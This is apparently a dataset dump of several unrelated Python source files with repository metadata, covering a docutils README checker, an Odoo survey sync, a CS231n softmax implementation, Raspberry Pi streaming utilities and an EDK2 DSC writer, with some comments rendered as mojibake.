raise VirtualEnvError(
"unable to run script with {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, p, cmd))
return out
def check_readme_syntax(readme, folder, version="0.8", fLOG=noLOG):
"""
Checks the syntax of the file ``readme.rst``
which describes a python project.
@param readme file to check
@param folder location for the virtual environment
@param version version of docutils
@param fLOG logging function
@return output or SyntaxError exception
`pipy server <https://pypi.python.org/pypi/>`_ is based on
`docutils <https://pypi.python.org/pypi/docutils/>`_ ==0.8.
The most simple way to check its syntax is to create a virtual environment,
to install docutils==0.8 and to compile the file.
This is what this function does.
Unfortunately, this functionality does not work yet
from a virtual environment.
.. versionadded:: 1.3
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if not os.path.exists(folder):
os.makedirs(folder)
out = create_virtual_env(folder, fLOG=fLOG, packages=[
"docutils==" + version,
"pipdeptree"])
outfile = os.path.join(folder, "conv_readme.html")
script = ["from docutils import core",
"import io",
'from docutils.readers.standalone import Reader',
'from docutils.parsers.rst import Parser',
'from docutils.parsers.rst.directives.images import Image',
'from docutils.parsers.rst.directives import _directives',
'from docutils.writers.html4css1 import Writer',
"from docutils.languages import _languages",
"from docutils.languages import en, fr",
"_languages['en'] = en",
"_languages['fr'] = fr",
"_directives['image'] = Image",
"with open('{0}', 'r', encoding='utf8') as g: s = g.read()".format(
readme.replace("\\", "\\\\")),
"settings_overrides = {'output_encoding': 'unicode', 'doctitle_xform': True,",
" initial_header_level': 2, 'warning_stream': io.StringIO()}",
"parts = core.publish_parts(source=s, parser=Parser(), reader=Reader(), source_path=None,",
" destination_path=None, writer=Writer(),",
" settings_overrides=settings_overrides)",
"with open('{0}', 'w', encoding='utf8') as f: f.write(parts['whole'])".format(
outfile.replace("\\", "\\\\")),
]
file_script = os.path.join(folder, "test_" + os.path.split(readme)[-1])
with open(file_script, "w") as f:
f.write("\n".join(script))
out = run_venv_script(folder, file_script, fLOG=fLOG, file=True)
with open(outfile, "r", encoding="utf8") as h:
content = h.read()
if "System Message" in content:
raise SyntaxError(
"unable to parse a file with docutils==" + version + "\nCONTENT:\n" + content)
return out
|
[
"hasithadkr7@gmail.com"
] |
hasithadkr7@gmail.com
|
cc33c74f1c0ac7232046e55292d8b413ca1bc988
|
5759c0ed3219c06437ce5b39ef9ad92b5e191fed
|
/py/0114_flatten_binary_tree_to_linked_list.py
|
50bdf3fcfc9bb4e70f86523429fbe8d284228f61
|
[] |
no_license
|
mengnan1994/Surrender-to-Reality
|
ba69df7c36112ad19f19157a9f368eae6340630f
|
66232728ce49149188f863271ec2c57e426abb43
|
refs/heads/master
| 2022-02-25T01:34:49.526517 | 2019-09-22T17:21:28 | 2019-09-22T17:21:28 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,498 |
py
|
"""
Given a binary tree, flatten it to a linked list in-place.
For example, given the following tree:
1
/ \
2 5
/ \ \
3 4 6
The flattened tree should look like:
1
\
2
\
3
\
4
\
5
\
6
"""
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def __init__(self):
self._precursor = None
def flatten(self, root):
"""
ๅๅบ้ๅ๏ผๆณจๆ่ฎฐๅฝๅ้ฉฑ่็น๏ผๅฐๅ้ฉฑ่็นๆๅๅฝๅ่็น
"""
node_list = []
self._preorder_traverse(root, node_list)
# print(node_list)
for idx in range(0, len(node_list) - 1):
node_list[idx].left = None
node_list[idx].right = node_list[idx + 1]
node_list[-1].left = None
node_list[-1].right = None
root = node_list[0]
def _preorder_traverse(self, node : TreeNode, node_list):
node_list.append(node)
if not node.left and not node.right:
return
if node.left:
self._preorder_traverse(node.left, node_list)
if node.right:
self._preorder_traverse(node.right, node_list)
def flaten_2(self, root):
"""
ไผๅ็ฉบ้ดๅคๆๅบฆ
ๅฏนไบไธไธช่็น๏ผๅ
ถๅทฆๅญๆ ็ๆๅณ่็นๆฏๅณๅญ็ๅ้ฉฑ
"""
pass
# def _preorder_traverse_2(self, node : TreeNode):
|
[
"hurricane.cui@gmail.com"
] |
hurricane.cui@gmail.com
|
5283afd1a67dc93c78bd29ba946a0554dbd535ec
|
fc2f0187f58a2d8462e5742da491c052117167e7
|
/raspberry/scripts/streamingPi-scripts/streamingPi-scripts-master/utils.py
|
768b276a151bf93ab5d1624f5113cf9db796d743
|
[] |
no_license
|
megamole/raspberry_audio_streamer_prd
|
b11d6a2cf09693933a72f5e7be0707034c6e8efc
|
483a5943f26ede2fbd6cf54138ccc49ed480cf76
|
refs/heads/master
| 2020-03-25T12:39:28.991639 | 2018-09-16T16:09:15 | 2018-09-16T16:09:15 | 143,786,334 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,473 |
py
|
import socket
import subprocess
import os
import psutil
import hashlib
import time
import datetime
darkiceConnection = False
def is_connected(urlToCheck):
try:
host = socket.gethostbyname(urlToCheck)
s = socket.create_connection((host, 80), 2)
return True
except:
pass
return False
def has_soundcard():
info_device = subprocess.check_output(['aplay', '-l'])
if info_device.find("card 1: CODEC [USB") != -1:
return True
return False
def has_streaming_connection(darkicePidPath):
try:
with open(darkicePidPath, 'read') as f:
proc = psutil.Process(int(f.read()))
if proc.status() in [psutil.STATUS_RUNNING, psutil.STATUS_SLEEPING]:
return True
except:
pass
return False
def only_silence():
# TODO check if the only input is silence
return False
def fileMd5(full_path):
return hashlib.md5(open(full_path, 'rb').read()).hexdigest()
def textToFile(text, path):
with open(path, 'w') as f:
f.write('%s' % text)
def killDarkice(dumpfilePath, dataPath):
subprocess.call(['killall', 'darkice'])
if os.path.isfile(dumpfilePath):
os.rename(dumpfilePath, dataPath + 'dumpfile.' + currentTimeToStr() + '.ogg')
def currentTimeToStr():
now = datetime.datetime.now()
return str(now.year) + '-' + str(now.month) + '-' + str(now.day) + '-' + str(now.hour) + '-' + str(now.minute) + '-' + str(now.second)
|
[
"jm.alonso.garcia@gmail.com"
] |
jm.alonso.garcia@gmail.com
|
5c09ebca8ecae8dd8a16916eb07164e8561acb34
|
fcbdf1de6486f807f19f4cfc5be99fed0ebad904
|
/models/prd_api.py
|
ef632108e0de0176b706b090e731c61220c5a38f
|
[] |
no_license
|
fslvmg/PRD
|
4029c03aa553b6c0bd91a83becf803f744321e14
|
ab7ada965ec78ae311f4b79135404811af752933
|
refs/heads/master
| 2020-06-04T07:52:48.978983 | 2019-07-29T02:18:53 | 2019-07-29T02:18:53 | 191,932,984 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 5,735 |
py
|
import uuid
from odoo import models, fields, api
from .. import defs
import logging
from .. import API
_logger = logging.getLogger(__name__)
class PrdCompany(models.Model):
_name = 'company_prd.company'
_inherits = {'res.partner': 'partner_id'}
name = fields.Char(related='partner_id.name',string='ๅ็งฐ', inherited=True)
is_active = fields.Boolean(string='ๆฏๅฆๅฏ็จ',default=False)
is_synced = fields.Boolean(string='ๅทฒๅๆญฅ',default=False)
partner_id = fields.Many2one('res.partner', required=True, ondelete='cascade', string='ไผไธID', auto_join=True)
prd_code = fields.Char('Prd-Code', default=lambda self: str(uuid.uuid4()), readonly=True, required=True, copy=False)
prd_company_type = fields.Selection(defs.COMPANYTYPE.attrs.items(), string='ๅ
ฌๅธ็ฑปๅ')
prd_charge_type = fields.Selection(defs.CHARGETYPE.attrs.items(), string='่ฎก่ดน็ฑปๅ')
prd_charge_count = fields.Integer('่ฎกๆฐ')
prd_leader_id= fields.Many2one('res.partner', string='่ด่ดฃไบบ')
license_ids = fields.One2many(
'company_prd.images', # related model
'company_id', # fields for "this" on related model
string='่ฅไธๆง็
ง')
@api.onchange('prd_leader_id')
def _onchange_prd_leader_id(self):
self.phone = self.prd_leader_id.phone
self.email = self.prd_leader_id.email
self.mobile = self.prd_leader_id.mobile
def sync_to_prd(self):
self.ensure_one()
self.is_active = True
my_company = API.ApiPrd()
sync_data = my_company.post_company(self)
_logger.info("################%s######################" % sync_data)
res = my_company.post_data(sync_data)
_logger.info("################ๅๆญฅ๏ผ%s######################" % res)
if res == '1':
self.is_synced = True
return
class PrdEmployee(models.Model):
_inherit = 'hr.employee'
prd_enterpriesOld =fields.Char("ๆพๅฐฑ่ไผไธ")
prd_enterpries =fields.Char("็ฐๅฐฑ่ไผไธ")
prd_unitPosiOld =fields.Char("็ฐๅฐฑ่ๅฒไฝ")
class PrdSurvey(models.Model):
_inherit = 'survey.survey'
prd_id = fields.Integer("ๆต่ฏ็ณป็ปID")
def sync_from_prd(self, post_id):
my_survey = API.ApiPrd()
sync_data = my_survey.get_survey_by_id(post_id)
if not sync_data :
return
survey = rs = self.search( [('prd_id', '=', sync_data['id']) ] )
if rs.exists():
rs.write({
'title': sync_data['name'],
})
else:
survey = self.create({
'prd_id': int(sync_data['id']),
'title': sync_data['name'],
})
obj_post = self.env['company_prd.post'].search( [('prd_id', '=', int(post_id))])
if obj_post.exists():
obj_post.write({
'survey_id': survey.id
})
obj_page = self.env['survey.page']
obj_question = self.env['survey.question']
obj_label = self.env['survey.label']
for page in sync_data["subjectGroupList"]:
mypage = obj_page.search( [('prd_id', '=', page["id"]),('survey_id','=',survey.id) ] )
if mypage.exists():
obj_page.write({
'title': page["id"],
})
else:
mypage = obj_page.create({
'prd_id': int(page["id"]),
'title':page["id"],
'survey_id':survey.id
})
for question in page["subjectInfoList"]:
myquestion = obj_question.search( [('prd_id', '=', question["id"]),('page_id','=',mypage.id) ] )
if myquestion.exists():
obj_question.write({
'question':question["content"],
'type':'simple_choice',
'prd_idx':question["idx"],
})
else:
myquestion = obj_question.create({
'prd_id':question["id"],
'question':question["content"],
'page_id':mypage.id,
'type':'simple_choice',
'prd_idx':question["idx"],
})
for label in question["anserList"]:
mylabel = obj_label.search( [('prd_uuid', '=', label["uuid"]),('question_id','=',myquestion.id) ] )
if mylabel.exists():
obj_label.write({
'value':label["answer"],
'prd_sort':label["sort"],
})
else:
mylabel = obj_label.create({
'prd_uuid':label["uuid"],
'value':label["answer"],
'question_id':myquestion.id,
'prd_sort':label["sort"],
})
class PrdPage(models.Model):
_inherit = 'survey.page'
prd_id = fields.Integer("ๆต่ฏ็ณป็ปID")
class PrdQuestion(models.Model):
_inherit = 'survey.question'
prd_id = fields.Integer("ๆต่ฏ็ณป็ปID")
prd_idx = fields.Integer("ๆต่ฏ็ณป็ปidx")
class PrdLabel(models.Model):
_inherit = 'survey.label'
prd_uuid = fields.Char("ๆต่ฏ็ณป็ปUUID")
prd_sort = fields.Integer("ๆๅบ")
class CompanyImage(models.Model):
_name = 'company_prd.images'
_description = 'company_prd.images'
name = fields.Char('ๅพ็ๅ็งฐ')
image = fields.Char('Url')
company_id = fields.Many2one('company_prd.company', 'ไผไธID', copy=True)
|
[
"fslvmg@qq.com"
] |
fslvmg@qq.com
|
e2edb5d82d0b7b9a5ce5c04dca7d99743fcc26ab
|
ce76b3ef70b885d7c354b6ddb8447d111548e0f1
|
/week_or_work/give_group/go_place/fact/child/world.py
|
ef11efc3b6b9c83521114179cecdc22ea2e4faa1
|
[] |
no_license
|
JingkaiTang/github-play
|
9bdca4115eee94a7b5e4ae9d3d6052514729ff21
|
51b550425a91a97480714fe9bc63cb5112f6f729
|
refs/heads/master
| 2021-01-20T20:18:21.249162 | 2016-08-19T07:20:12 | 2016-08-19T07:20:12 | 60,834,519 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 230 |
py
|
#! /usr/bin/env python
def fact_or_different_group(str_arg):
other_thing(str_arg)
print('last_life_and_time')
def other_thing(str_arg):
print(str_arg)
if __name__ == '__main__':
fact_or_different_group('part')
|
[
"jingkaitang@gmail.com"
] |
jingkaitang@gmail.com
|
ba89f8b4fbc89acfbdb68504386a71ea5e70c4ca
|
b3fc641d4a746401301d917d42dd204a8661874b
|
/authors/apps/articles/migrations/0009_reported_times_reported.py
|
7fd11b5ff494f57db3c9d8ee75cc09f9b68ec1b0
|
[
"BSD-3-Clause"
] |
permissive
|
andela/ah-backend-lannister
|
7998e0f9729036627ef2aabcdb1bb3c89b356727
|
091bd7e892eb0709a937f0f992f2675ab81ce40c
|
refs/heads/develop
| 2020-03-29T02:31:52.662672 | 2018-11-20T09:14:50 | 2018-11-20T09:14:50 | 149,441,528 | 0 | 5 |
BSD-3-Clause
| 2018-11-20T09:14:51 | 2018-09-19T11:39:36 |
Python
|
UTF-8
|
Python
| false | false | 394 |
py
|
# Generated by Django 2.1.1 on 2018-10-18 13:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('articles', '0008_auto_20181018_1517'),
]
operations = [
migrations.AddField(
model_name='reported',
name='times_reported',
field=models.IntegerField(default=0),
),
]
|
[
"kimbsimon2@gmail.com"
] |
kimbsimon2@gmail.com
|
d77cc9cfc19abaad7bd34df16677a4312d3ea8d1
|
f7648ea1c8a9565371c3d4654f7bdf1f2c9278f5
|
/BAEK_JOON/Python_algorithm/๋ฐฑ์ค_11053๋ฒ_๊ฐ์ฅ๊ธด์ฆ๊ฐํ๋๋ถ๋ถ์์ด.py
|
46abd5d65adc6c66937eba0785359af736f28207
|
[] |
no_license
|
Sungmin-Joo/Algorithm-competition
|
521e019d532cc73e7620c5d1218142d32820eb1f
|
6b9513e15f284d95a21eecd84a0a4d0f2ff03402
|
refs/heads/master
| 2020-05-01T15:25:16.404513 | 2020-01-19T10:41:25 | 2020-01-19T10:41:25 | 177,546,171 | 2 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 354 |
py
|
import sys
input = sys.stdin.readline
global dp, l
n = int(input())
arr = [*map(int,input().split())]
dp = [0] * n
m = 0
for i in range(n):
if i == 0:
dp[i] = 1
else:
max_dp = 0
for j in range(0, i):
if max_dp < dp[j] and arr[j] < arr[i]:
max_dp = dp[j]
dp[i] = max_dp+1
print(max(dp))
|
[
"big-joo_dev@naver.com"
] |
big-joo_dev@naver.com
|
61b16488d1272ea297377739b9d59515dbe88c4f
|
2f963d7989749037a3ec27aaa39b31416b33cbb2
|
/ib_recommender/interfaces/ib_recommender_service_interface.py
|
d49a6e35f35d335762e37a87f3106329613780e4
|
[] |
no_license
|
migsantos121/phd3-backend
|
3cd014908856c995de3c4473d82059bc9c1b5794
|
9d1d2bd6f55dc89719ce5a1916c5db3d573aec1e
|
refs/heads/master
| 2022-12-12T17:25:59.334509 | 2020-03-09T09:24:08 | 2020-03-09T09:24:08 | 245,991,086 | 0 | 0 | null | 2022-06-28T14:45:50 | 2020-03-09T09:17:18 |
Python
|
UTF-8
|
Python
| false | false | 1,562 |
py
|
from django_swagger_utils.drf_server.decorators.handle_exceptions import handle_exceptions
from ib_common.interface_utils.interface_utils import InterfaceUtils
__author__ = 'ibhubs'
class IBRecommenderServiceInterface(InterfaceUtils):
def __init__(self, *args, **kwargs):
super(IBRecommenderServiceInterface, self).__init__(*args, **kwargs)
@property
def service_flag(self):
from django.conf import settings
from ib_common.constants.service_types import ServiceTypesEnum
return getattr(settings, 'IB_RECOMMENDER_REQUEST_TYPE', ServiceTypesEnum.LIBRARY.value)
@property
def service_base_url(self):
from django.conf import settings
return self.clean_base_url(getattr(settings, 'IB_RECOMMENDER_BASE_URL', '')) + 'api/ib_recommender/'
@property
def client_key_details_id(self):
return 1
@handle_exceptions()
def get_articles(self, request_data=None, path_params=None, query_params=None, headers_obj=None, **kwargs):
setattr(self, 'request_data', request_data)
setattr(self, 'path_params', path_params)
setattr(self, 'query_params', query_params)
setattr(self, 'headers_obj', headers_obj)
setattr(self, 'request_type', 'POST')
setattr(self, 'url_tail', 'articles/')
def api_wrapper(*args, **kwargs):
from ib_recommender.views.get_articles.api_wrapper import api_wrapper
return api_wrapper(*args, **kwargs)
setattr(self, 'api_wrapper', api_wrapper)
return self.execute()
|
[
"migsantos121@outlook.com"
] |
migsantos121@outlook.com
|
c09f85345c3dbd7703a477e0a395ea9b622a00b2
|
1cf2e0dd080eb1a29ee9d2c610b6b5a2e6835af8
|
/Examples/1D/NanoRibbon_BN/Model_Scaling/alpha.10/plot_eps.py
|
8c4d201439cd62dc52f295bce184bfb57f9788e1
|
[
"BSD-3-Clause"
] |
permissive
|
skw32/CoFFEE_PoissonSolver_KO_pa
|
7f74d482bac03f7ea08ca3296c89ac3926da2ae1
|
27a0ec8021ffefda1a4a4aa3d8086ac7d5561559
|
refs/heads/master
| 2020-05-05T09:56:28.584067 | 2019-05-21T06:50:39 | 2019-05-21T06:50:39 | 179,923,735 | 0 | 2 |
BSD-3-Clause
| 2019-05-21T06:50:41 | 2019-04-07T05:50:05 |
Python
|
UTF-8
|
Python
| false | false | 1,585 |
py
|
#!/usr/bin/python
import sys, string
import numpy as np
import pickle
import matplotlib.pyplot as plt
import matplotlib.colors as colors
import matplotlib.path as mplPath
import matplotlib.patches as mpatches
import matplotlib.gridspec as gridspec
celldm1 = 47.242904115801814*0.52918
celldm2 = 109.449973*0.52918
eps_xy_a1 = np.load("eps_xy_a1.npy")
eps_xy_a2 = np.load("eps_xy_a2.npy")
eps_xy_a3 = np.load("eps_xy_a3.npy")
a1_dim, a2_dim = np.shape(eps_xy_a1)[0], np.shape(eps_xy_a1)[1]
fig, axarr = plt.subplots(1,3,figsize = (18,5))
map_c = 'summer'
a1 = np.arange(0,celldm1,celldm1/a1_dim)
a2 = np.arange(0,celldm2,celldm2/a2_dim)
h_map = axarr[0].pcolor(a2,a1,eps_xy_a1,cmap=map_c)
cb = fig.colorbar(h_map,shrink=0.9,ax = axarr[0])
cb.ax.tick_params(labelsize=22)
h_map = axarr[1].pcolor(a2,a1,eps_xy_a2,cmap=map_c)
cb = fig.colorbar(h_map,shrink=0.9,ax = axarr[1])
cb.ax.tick_params(labelsize=20)
h_map = axarr[2].pcolor(a2,a1,eps_xy_a3,cmap=map_c)
cb = fig.colorbar(h_map,shrink=0.9,ax = axarr[2])
cb.ax.tick_params(labelsize=22)
for i in range(3):
axarr[i].set_xlabel(r"$y (\AA)$",fontsize = 30)
axarr[i].set_ylabel(r"$x (\AA)$",fontsize = 30)
axarr[i].set_ylim(0,celldm1-celldm1/a1_dim)
axarr[i].set_xlim(0,celldm2-celldm2/a2_dim)
axarr[i].tick_params(labelsize=22,width=1.8)
axarr[0].set_title(r"Dielectric profile along a$_1$/x",fontsize = 22)
axarr[1].set_title(r"Dielectric profile along a$_2$/y",fontsize = 22)
axarr[2].set_title(r"Dielectric profile along a$_3$/z",fontsize = 22)
plt.tight_layout()
plt.savefig("Ribbon_profile.png",dpi = 400)
plt.show()
|
[
"suzywallace501@gmail.com"
] |
suzywallace501@gmail.com
|
4a29f10e33ce3c1431e034164db1ab5d9c7fb4a5
|
155ca885e954ed7b06b5e11230515daa9ac8c271
|
/venv/bin/easy_install
|
41ee3bd4311e48f380b13b763f17eb84ad0a9c58
|
[] |
no_license
|
quizhpi/python-functions
|
18d1c118b21400d9e9dfda06a4439f2589364042
|
2e08d8042ed3622f35304f13b676b410f556f6e2
|
refs/heads/master
| 2022-10-04T15:01:10.136895 | 2020-06-04T01:52:31 | 2020-06-04T01:52:31 | 268,954,102 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 291 |
#!/Users/mquizhpi/Developments/python-projects/python-functions/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
|
[
"mquizhpidev@gmail.com"
] |
mquizhpidev@gmail.com
|
|
049c4dc2db5be4fd368e5ce43b127e50e6149da7
|
794619331a828993244100b06c98a6bc65b55423
|
/SparkSql.py
|
8217eb713424f9303ee137c7025c083c356dc97c
|
[] |
no_license
|
abhilash97sharma/pyspark
|
86e86045e9d7999e870c7ef8443008a42faa101c
|
f83698543aa2b0990fc3da0b6eeddbfed799cb70
|
refs/heads/master
| 2020-04-06T19:43:06.029971 | 2019-05-23T17:10:32 | 2019-05-23T17:10:32 | 157,746,879 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 192 |
py
|
from pyspark import SparkContext
from pyspark import SQLContext
sc=SparkContext("local","SparkSql")
sqlContext=SQLContext(sc)
file=sqlContext.read.text("/home/abhilash/Documents/files/file")
|
[
"noreply@github.com"
] |
abhilash97sharma.noreply@github.com
|
1916e513eafefb27fe7d285a88ec64c687dc8244
|
2660096f480b140a8aa37d731544753cabaac878
|
/stanford_cs231n/assignment1/cs231n/classifiers/softmax.py
|
482d420e7be24872dd0c72f42b65573f08e67024
|
[] |
no_license
|
rheehot/deeplearning_projects
|
77d26a4c0d950dcbfaf87adb5e38b2b12d7ebe12
|
455b5de301a745c7aa51bdca3db26e831acd224c
|
refs/heads/master
| 2022-12-07T22:20:17.614192 | 2020-09-06T12:36:04 | 2020-09-06T12:36:04 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 3,446 |
py
|
from builtins import range
import numpy as np
from random import shuffle
from past.builtins import xrange
def softmax_loss_naive(W, X, y, reg):
"""
Softmax loss function, naive implementation (with loops)
Inputs have dimension D, there are C classes, and we operate on minibatches
of N examples.
Inputs:
- W: A numpy array of shape (D, C) containing weights.
- X: A numpy array of shape (N, D) containing a minibatch of data.
- y: A numpy array of shape (N,) containing training labels; y[i] = c means
that X[i] has label c, where 0 <= c < C.
- reg: (float) regularization strength
Returns a tuple of:
- loss as single float
- gradient with respect to weights W; an array of same shape as W
"""
# Initialize the loss and gradient to zero.
loss = 0.0
dW = np.zeros_like(W)
#############################################################################
# TODO: Compute the softmax loss and its gradient using explicit loops. #
# Store the loss in loss and the gradient in dW. If you are not careful #
# here, it is easy to run into numeric instability. Don't forget the #
# regularization! #
#############################################################################
# *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****
num_train = X.shape[0]
num_class = W.shape[1]
scores = X.dot(W)
for i in range(num_train):
f = scores[i] - np.max(scores[i]) # to avoid numerical instability
softmax = np.exp(f) / np.sum(np.exp(f))
loss += -np.log(softmax[y[i]])
# weight Gradients (์ ์ดํด ์๋์ง๋ง ์ผ๋จ skip. ๋ ์ฝ๋ฉ 1-3์ฅ์ ๋์ค๊ธด ํ๋๋ฐ ๋งค์น ์ ์๋จ.)
for j in range(num_class):
dW[:,j] += X[i] * softmax[j]
dW[:,y[i]] -= X[i]
loss /= num_train
dW /= num_train
loss += reg * np.sum(W*W)
dW += reg * 2 * W
pass
# *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****
return loss, dW
def softmax_loss_vectorized(W, X, y, reg):
"""
Softmax loss function, vectorized version.
Inputs and outputs are the same as softmax_loss_naive.
"""
# Initialize the loss and gradient to zero.
loss = 0.0
dW = np.zeros_like(W)
#############################################################################
# TODO: Compute the softmax loss and its gradient using no explicit loops. #
# Store the loss in loss and the gradient in dW. If you are not careful #
# here, it is easy to run into numeric instability. Don't forget the #
# regularization! #
#############################################################################
# *****START OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****
num_train = X.shape[0]
num_class = W.shape[1]
scores = X.dot(W)
f = scores - np.max(scores, axis=1, keepdims=True)
softmax = np.exp(f) / np.sum(np.exp(f), axis=1, keepdims=True)
loss = np.sum(-np.log(softmax[np.arange(num_train), y]))
softmax[np.arange(num_train), y] -= 1
dW = X.T.dot(softmax)
loss /= num_train
dW /= num_train
loss += reg * np.sum(W*W)
dW += reg * 2 * W
pass
# *****END OF YOUR CODE (DO NOT DELETE/MODIFY THIS LINE)*****
return loss, dW
|
[
"43261253+yunjh0420@users.noreply.github.com"
] |
43261253+yunjh0420@users.noreply.github.com
|
d0246473a73acbe2f1c695ae87eac646345820f5
|
f431c887db2c24d17dc35265500f5f8f6bf0f8ab
|
/warmHeaters.py
|
c03b25367958da2e4f093746ca247c25be50a3af
|
[] |
no_license
|
pratiktest/problems
|
e16aeb1a676b90db5361766036d2bb4b9a9b8860
|
433e28b3abadae3bfecea6e86e7abe31096a51a5
|
refs/heads/master
| 2020-08-13T04:06:10.211119 | 2019-11-09T22:33:07 | 2019-11-09T22:33:07 | 214,902,213 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,006 |
py
|
def findRadius(houses, heaters):
"""
:type houses: List[int]
:type heaters: List[int]
:rtype: int
"""
heaters.sort()
houses.sort()
"""
2 pointer method
Now we iterate over the houses
idea is to find NEAREST HEATER FOR EACH HOUSE
1,2,3,4,5,6,7,8
1,2,5,30
nearest heater for 1 is 1
for 2 is 2
for 3 is 2
for 4 is 5
for 5 is 5...
for 8 is 5
as we go on moving the pointer we will see that the dist we need is atleast
the distance between heater and the house
"""
i = 0
j = 0
res = 0
while i < len(houses):
while j < len(heaters)-1 and abs(heaters[j+1]-houses[i]) <= abs(heaters[j]-houses[i]):
j = j+1
res = max(res, abs(heaters[j] - houses[i]))
i = i+1
return res
if __name__ == '__main__':
houses = [1, 2, 3, 4, 5, 6, 7, 8]
heaters = [2, 5, 30, 1]
findRadius(houses,heaters)
|
[
"prkale@ebay.com"
] |
prkale@ebay.com
|
ac94494db60215aecea6f359e1742c5edac32c50
|
91697e9a4b4371a3a56dc0d5ca40a3305230d31d
|
/address/models.py
|
7977d1cdc2d339ae6b70d2b3c83fec4edd82f59d
|
[] |
no_license
|
cheahee/myappss
|
ed682894b89004ea6bdf3d7285cdbad35bc75062
|
bf2f1936eff9968c8c503ea3ca40637474dd0ec5
|
refs/heads/master
| 2023-05-30T22:39:26.859581 | 2021-06-18T00:12:41 | 2021-06-18T00:12:41 | 378,296,277 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 503 |
py
|
from django.db import models
# Create your models here.
class Address(models.Model):
# idx(ํ๋๋ช
,์ปฌ๋ผ๋ช
) = ์๋ฃํ(์์ฑ)
idx = models.AutoField(primary_key=True)
# ๊ธธ์ด์ ํ, ๋น๊ฐ์ ํ์ฉ, nulll๊ฐ ํ์ฉ
name = models.CharField(max_length=50, blank=True, null=True)
tel = models.CharField(max_length=50, blank=True, null=True)
email = models.CharField(max_length=50, blank=True, null=True)
address = models.CharField(max_length=500, blank=True, null=True)
|
[
"parkyejin07@naver.com"
] |
parkyejin07@naver.com
|
c53d49bb1ae8c8fd8536a3e1942b44f24e7cf396
|
45191a4524455724f0ef0355cff67088ae4053e1
|
/BaseTools/Source/Python/fpd2dsc/StoreDsc.py
|
f8123a2f9722b61439792d35369b3e439a18e72c
|
[] |
no_license
|
AshleyDeSimone/edk2
|
ba63b2a0a1298c3e347468ea5369ce9ca1565427
|
a50f7c4c0985f1659d4b24e94f6d3aee9f6922dd
|
refs/heads/master
| 2021-01-15T20:48:59.667094 | 2012-03-27T12:07:38 | 2012-03-27T12:07:38 | 4,475,751 | 1 | 1 | null | null | null | null |
UTF-8
|
Python
| false | false | 33,664 |
py
|
## @file
# Store a Platform class object to an INF file.
#
# Copyright (c) 2007 - 2009, Intel Corporation. All rights reserved.<BR>
# This program and the accompanying materials
# are licensed and made available under the terms and conditions of the BSD License
# which accompanies this distribution. The full text of the license may be found at
# http://opensource.org/licenses/bsd-license.php
#
# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
##
# Import Modules
#
from LoadFpd import LoadFpd
from CommonDataClass.PlatformClass import *
from CommonDataClass.FdfClass import *
from Common.MigrationUtilities import *
from Common.ToolDefClassObject import *
from Common.TargetTxtClassObject import *
## Store Defines section
#
# Write [Defines] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Defines section
# @param Platform An input Platform class object
#
def StorePlatformDefinesSection(DscFile, Platform):
PlatformHeader = Platform.Header
DefinesTupleList = []
if PlatformHeader.Name != "":
DefinesTupleList.append(("PLATFORM_NAME", PlatformHeader.Name))
if PlatformHeader.Guid != "":
DefinesTupleList.append(("PLATFORM_GUID", PlatformHeader.Guid))
if PlatformHeader.Version != "":
DefinesTupleList.append(("PLATFORM_VERSION", PlatformHeader.Version))
for key in PlatformHeader.Specification.keys():
SpecificationValue = PlatformHeader.Specification.get(key)
DefinesTupleList.append(("DSC_ SPECIFICATION", SpecificationValue))
if PlatformHeader.OutputDirectory != "":
DefinesTupleList.append(("OUTPUT_DIRECTORY", PlatformHeader.OutputDirectory))
if PlatformHeader.SupArchList != "":
String = "|".join(PlatformHeader.SupArchList)
DefinesTupleList.append(("SUPPORTED_ARCHITECTURES", String))
if PlatformHeader.BuildTargets != "":
String = "|".join(PlatformHeader.BuildTargets)
DefinesTupleList.append(("BUILD_TARGETS", String))
if PlatformHeader.SkuIdName != "":
#DefinesTupleList.append(("SKUID_IDENTIFIER", PlatformHeader.SkuIdName))
String = "|".join(PlatformHeader.SkuIdName)
if String != "":
DefinesTupleList.append(("SKUID_IDENTIFIER", String))
String = Platform.FlashDefinitionFile.FilePath
if String != "":
DefinesTupleList.append(("FLASH_DEFINITION", String))
List = []
List.append("################################################################################")
List.append("#")
List.append("# Defines Section - statements that will be processed to create a Makefile.")
List.append("#")
List.append("################################################################################")
Section = "\n".join(List)
Section += "\n"
StoreTextFile(DscFile, Section)
StoreDefinesSection(DscFile, DefinesTupleList)
## Store SkuIds section
#
# Write [SkuIds] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Library Classes section
# @param Platform An input Platform class object
#
def StorePlatformSkuIdsSection(DscFile, Platform):
List = []
List.append("################################################################################")
List.append("#")
List.append("# SKU Identification section - list of all SKU IDs supported by this Platform.")
List.append("#")
List.append("################################################################################")
Section = "\n".join(List)
Section += "\n"
Section += "[SkuIds]" + '\n'
List = Platform.SkuInfos.SkuInfoList
for Item in List:
